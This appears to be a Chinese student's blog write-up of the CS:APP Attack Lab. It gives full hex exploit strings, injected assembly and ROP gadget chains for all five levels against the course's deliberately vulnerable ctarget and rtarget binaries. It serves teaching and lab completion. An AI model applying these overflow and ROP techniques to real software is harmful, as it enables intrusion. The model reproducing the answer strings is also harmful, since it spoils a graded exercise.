少女祈祷中...
  • 缓冲区溢出
    • 通过执行注入的代码,重写返回地址,执行另一个代码片段。
  • ROP攻击
    • 随机化、将保存栈的内存区域设置为不可执行等技术使得缓冲区溢出攻击失效。这时可以通过现有程序中的代码而不是注入新的代码实现攻击。利用gadgets和string组成注入的代码,具体来说是使用pop和mov指令加上某些常数来执行特定的操作。

实验要求

  • 实验分为5个阶段,level1-3是通过缓冲区溢出方式进行攻击,level4-5则是通过ROP攻击方式进行攻击。

文件功能

  • cookie.txt:存放你攻击用的标识符
  • ctarget:执行code-injection攻击的程序
  • rtarget:执行return-oriented-programming攻击的程序
  • farm.c:gadget farm产生代码片段
  • hex2raw:生成攻击字符串
    其中,ctarget和rtarget会从标准输入读取字符串,保存在大小为BUFFER_SIZE的char数组中。

前置任务

  • 对ctarget进行反汇编
1
objdump -d ctarget > ctarget.txt
  • 对rtarget进行反汇编
1
objdump -d rtarget > rtarget.txt
  • 确定getbuf的缓冲区大小
    0
    778行可知getbuf开辟了40(0x28)字节的栈空间,即buffer为40字节

level 1

不需要注入新的代码,只需要让程序重定向调用某个方法。

1
2
3
4
5
6
7
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

touch1函数中没有特别要求,只要运行进入该函数即可调用validate(1)
所以只需输入字符串第40字节后为touch1函数的地址即可以覆盖掉原函数返回地址进入touch1

  • 查看汇编代码:
    2

答案为:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 //小端输入

e_1

level 2

需要注入一段代码

1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

touch2中只有val==cookie后才能进入validate(2),说明除了进入该函数外,val必须等于cookie

  • 查看汇编代码:
    3
    %edi中存放val,0x202ce2(%rip)(即0x6044e4)存放cookie
  • 调用gdb:
    4
    即%rdi需要修改为0x59b997fa
    所以需要在buffer中注入代码,而为了运行注入的代码,需要跳转回栈顶地址
  • 调用gdb:
    5
    得到栈顶地址为0x5561dc78,即输入字符串第40字节后为0x5561dc78即可以覆盖掉原函数返回地址跳回栈顶运行注入的代码
    而注入的代码需要修改%rdi的内容并跳到touch2函数:
1
2
3
4
5
6
mov $0x59b997fa %rdi        //将%rdi内容修改为cookie
push $0x4017ec //将touch2的地址push入栈中
ret //结束该函数,并返回上层函数返回地址

//由于该代码是人为注入的,所以并不存在上层函数返回地址
//而此时就会将刚入栈的0x4017ec作为返回地址,即跳到了touch2

gcc汇编并objdump反汇编后得到对应的16进制表示:
7

  • 将注入代码和跳转地址结合即为答案:
1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68    //修改%rdi并跳到touch2
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //回到栈顶

e_2

level 3

需要传入字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /*Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!:You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire:You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

touch3中只有hexmatch(cookie,sval)==1后才能进入validate(3)
而hexmatch函数的作用为将cookie转成字符串并和sval比较,如果相等则返回1,说明除了需进入touch3函数外,*sval必须等于cookie的字符串形式

  • 查看汇编代码:
    8
    %rsi(函数第二个参数)为char* sval,%edi为cookie,而877行将%rdi转入%rsi,说明初始状态下%rdi中存放着char* sval,即%rdi需要修改
    所以需要在buffer中注入代码,而为了运行注入的代码,同Phase 2 一样需要跳转回栈顶地址0x5561dc78
    9
    注意到hexmatch函数中将%r12,%rbp,%rbx入栈,而这样会造成栈中原来输入的内容的覆盖
    10
    (三次push分别改变了0x5561dc90,0x5561dc88,0x5561dc80中的内容)

方法一

由于原函数返回地址更低的地方(即0x5561dca8及原栈帧中更低的地方)并不会被覆盖
所以可以将字符串(ASCII码形式)存入0x5561dca8并将sval指针(%rdi)置为0x5561dca8
objdump反汇编后代码:
11

  • 该方法答案:
1
2
3
4
5
6
7
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00 //代码无需补足一字节
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //地址要补足一字节,否则segmentation fault
35 39 62 39 39 37 66 61 //小端存储

方法二(最先尝试的方法)

注意到0x5561dc88对应%rbp,0x5561dc90对应%r12,所以可以将字符串(ASCII码形式)存入%rbp,并将%r12清零(因为%r12中存着0x3,不清零会把3以ASCII码的形式打出来),将sval指针(%rdi)置为0x5561dc88,这样在hexmatch开头三次push后字符串就被存入了0x5561dc88中:
12
objdump反汇编后代码:
13

  • 该方法答案:
1
2
3
4
5
6
48 c7 c7 88 dc 61 55 48 //修改%rdi
bd 35 39 62 39 39 37 66 //%rbp注入字符串
61 49 c7 c4 00 00 00 00 //%r12清零
68 fa 18 40 00 c3 00 00 //touch3地址入栈
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //回到栈顶

e_3

ROP攻击不同于先前的攻击代码注入(注入代码从栈顶写入),所有的gadget都应该从返回地址开始依次写入,而每段gadget运行完ret后都会依次进入下一个gadget

level 4

由于该阶段要实现的效果和level 2一样,所以同样需要将%rdi内容修改为0x59b997fa并跳到touch2函数
由于只能使用mov(Resigter to Register),pop,ret和nop,所以不能直接将立即数转入寄存器中,而需要借助pop将栈中的立即数转入寄存器中
查询farm,发现除了0x58(pop %rax)外没有0x59~0x5f有关能作为gadget的代码
所以汇编代码只能为:

1
2
3
4
pop         %rax        
retq
movq %rax,%rdi
retq

查询farm可知pop %rax+ret可以用两种gadget表示:(0x90=nop,可以忽略)
14
15
movq %rax,%rdi+ret可以用两种gadget表示:(0x90=nop,可以忽略)
16
17
而pop的内容(0x59b997fa)应该放在pop+retq指令之后,此时pop指令会将pop后对应位置的元素pop进对应的寄存器中
而touch2函数地址(0x4017ec)应该放在movq+retq指令之后,当ret指令运行完毕后之后的地址会充当返回地址进入touch2函数

  • 答案:(所有gadget应该填充至1字节,否则会segmentation fault)
1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 //填充40字节
cc 19 40 00 00 00 00 00 //pop %rax(或ab 19 40 00 00 00 00 00)
fa 97 b9 59 00 00 00 00 //被pop的cookie
c5 19 40 00 00 00 00 00 //movq %rax,%rdi(或a2 19 40 00 00 00 00 00)
ec 17 40 00 00 00 00 00 //返回地址

e_4

level 5

由于该阶段要实现的效果和Phase 3一样,所以同样需要将%rdi内容修改为cookie字符串对应地址并跳到touch3函数
由于每次栈都是随机开辟,存入字符串的地址并不固定,所以不能直接把地址赋值给%rdi,而需要通过读取栈顶地址%rsp加上一定的偏移量来获得字符串地址
而地址计算需要lea命令,查找farm:
18
该命令正好可作为一个栈地址偏移的gadget,%rdi和%rsi一个为栈顶地址,一个为偏移量
继续通过查找farm发现仅仅存在%eax->%edx->%ecx->%esi这样一条路径通过movl为%rdi赋值,而movl指令以寄存器作为目的时,会把该寄存器的高位4字节设置为0,即会损失高四字节的值。而栈顶地址经过gdb断点测试,都至少大于0x7ffffff00000:
19
而偏移量肯定小于0xfffffffff,所以地址只能存入%rdi中,而把偏移量存入%rsi中
此外由于偏移量必须为正数(高四字节置0),所以输入的字符串不能在前40个字节中(该位置地址比%rsp更小,且可能会被覆盖),只能在所有gadget之后写入(防止干扰栈中gadget)

所以ROP整体思路为:
1.将偏移量pop入%rax中
2.movl指令将偏移量以该顺序:%eax->%edx->%ecx->%esi移入%rsi中
3.movq指令将栈指针以该顺序:%rsp->%rax->%rdi移入%rdi中
4.lea指令计算字符串地址
5.计算结果%rax赋值给%rdi
6.调用touch3

汇编代码为:

1
2
pop %rax
retq

20

1
2
movl         %eax,%edx
retq

21

1
2
movl        %edx,%ecx
retq

22

1
2
movl         %ecx,%esi
retq

23

1
2
movq         %rsp,%rax
retq

24

1
2
movq         %rax,%rdi
retq

25

1
2
lea         (%rdi,%rsi,1),%rax
retq

26

1
2
movq        %rax,%rdi
retq

27
注意到每次ret后%rsp都会加0x8,%rax内的地址和末尾字符串地址之间的差等于(两者之间的命令个数+1)*8
从movq %rsp,%rax算起有两个movq和一个lea,所以偏移量为(3+1)*8=32=0x20
28
调用gdb发现输入的字符串之后的字节为0xf4f4f4f4f4f4f400,末尾两位为0,由于字符串是从右向左输出,所以0xf4f4f4f4f4f4f400不会输出多余字符,也就无需将该字节清零

  • 最终答案(答案不唯一):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 //填充40字节
ab 19 40 00 00 00 00 00 //pop %rax
20 00 00 00 00 00 00 00 //被pop的偏移量
42 1a 40 00 00 00 00 00 //mov %eax,%edx
34 1a 40 00 00 00 00 00 //mov %edx,%ecx
27 1a 40 00 00 00 00 00 //mov %ecx,%esi
06 1a 40 00 00 00 00 00 //mov %rsp,%rax
c5 19 40 00 00 00 00 00 //mov %rax,%rdi
d6 19 40 00 00 00 00 00 //lea (%rdi,%rsi,1),%rax
c5 19 40 00 00 00 00 00 //mov %rax,%rdi
fa 18 40 00 00 00 00 00 //touch3地址
35 39 62 39 39 37 66 61 //字符串

e_5